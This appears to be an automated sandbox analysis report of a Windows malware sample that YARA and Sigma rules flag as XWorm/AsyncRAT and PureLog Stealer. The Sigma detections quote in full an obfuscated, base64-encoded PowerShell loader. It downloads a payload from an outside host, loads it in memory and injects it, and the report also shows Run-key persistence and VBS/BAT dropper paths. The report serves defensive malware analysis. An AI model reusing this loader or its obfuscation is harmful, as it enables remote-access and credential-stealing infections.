Process Memory Space: powershell.exe PID: 3768	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf90a62:$b2: ::FromBase64String( 0xf91be8:$b2: ::FromBase64String( 0xf91dd2:$b2: ::FromBase64String( 0xf91fb0:$b2: ::FromBase64String( 0x29ec0c:$s1: -join 0x29f4cc:$s1: -join 0x5ac5ad:$s1: -join 0x64868d:$s1: -join 0x65590e:$s1: -join 0x658dd0:$s1: -join 0x65946a:$s1: -join 0x65af66:$s1: -join 0x65d1ba:$s1: -join 0x65d9e1:$s1: -join 0x65e23c:$s1: -join 0x65e977:$s1: -join 0x65e9a9:$s1: -join 0x65e9f1:$s1: -join 0x65ea10:$s1: -join 0x65f261:$s1: -join 0x65f3dd:$s1: -join
Process Memory Space: powershell.exe PID: 6320	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x4fef5:$b2: ::FromBase64String( 0x5107d:$b2: ::FromBase64String( 0x51267:$b2: ::FromBase64String( 0x51445:$b2: ::FromBase64String( 0x5731:$s1: -join 0x1134d:$s1: -join 0x65ab9:$s1: -join 0x760d1:$s1: -join 0x76832:$s1: -join 0x8a6f9:$s1: -join 0xf9f4a:$s1: -join 0x1071cb:$s1: -join 0x10a68d:$s1: -join 0x10ad27:$s1: -join 0x10c823:$s1: -join 0x10ea77:$s1: -join 0x10f29e:$s1: -join 0x10faf9:$s1: -join 0x110234:$s1: -join 0x110266:$s1: -join 0x1102ae:$s1: -join
Process Memory Space: powershell.exe PID: 8200	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9d6ae:$b2: ::FromBase64String( 0x9e835:$b2: ::FromBase64String( 0x9ea1f:$b2: ::FromBase64String( 0x9ebfd:$b2: ::FromBase64String( 0x1ce41:$s1: -join 0x1d5a1:$s1: -join 0x2c2a7:$s1: -join 0x38063:$s1: -join 0x5501a:$s1: -join 0xb323d:$s1: -join 0x54d11:$s3: REVERSE 0x1ce23:$s4: += 0x1d23e:$s4: += 0x1d4b5:$s4: += 0x1d583:$s4: += 0x1e9a2:$s4: += 0x1ea44:$s4: += 0x2211e:$s4: += 0x23441:$s4: += 0x2d66a:$s4: += 0x2fd31:$s4: +=
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
125.2.CasPol.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
125.2.CasPol.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6c7c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d19:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e2e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6aee:$cnc4: POST / HTTP/1.1
113.2.powershell.exe.237b3bb2660.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
113.2.powershell.exe.237b3bb2660.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4e7c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x4f19:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x502e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x4cee:$cnc4: POST / HTTP/1.1
113.2.powershell.exe.237b3bb2660.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
113.2.powershell.exe.237b3bb2660.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6c7c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x124bc:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d19:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12559:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e2e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1266e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6aee:$cnc4: POST / HTTP/1.1 0x1232e:$cnc4: POST / HTTP/1.1
18.2.powershell.exe.1af29b22f88.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
18.2.powershell.exe.1af314e0000.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
18.2.powershell.exe.1af29b22f88.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
18.2.powershell.exe.1af314e0000.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codig

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 8552, StartAddress: FBBEBCC0, TargetImage: C:\Windows\System32\conhost.exe, TargetProcessId: 8552

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , ProcessId: 5680, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , ProcessId: 5680, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codig

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\hvnc.vbs, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3768, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" , ProcessId: 5680, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

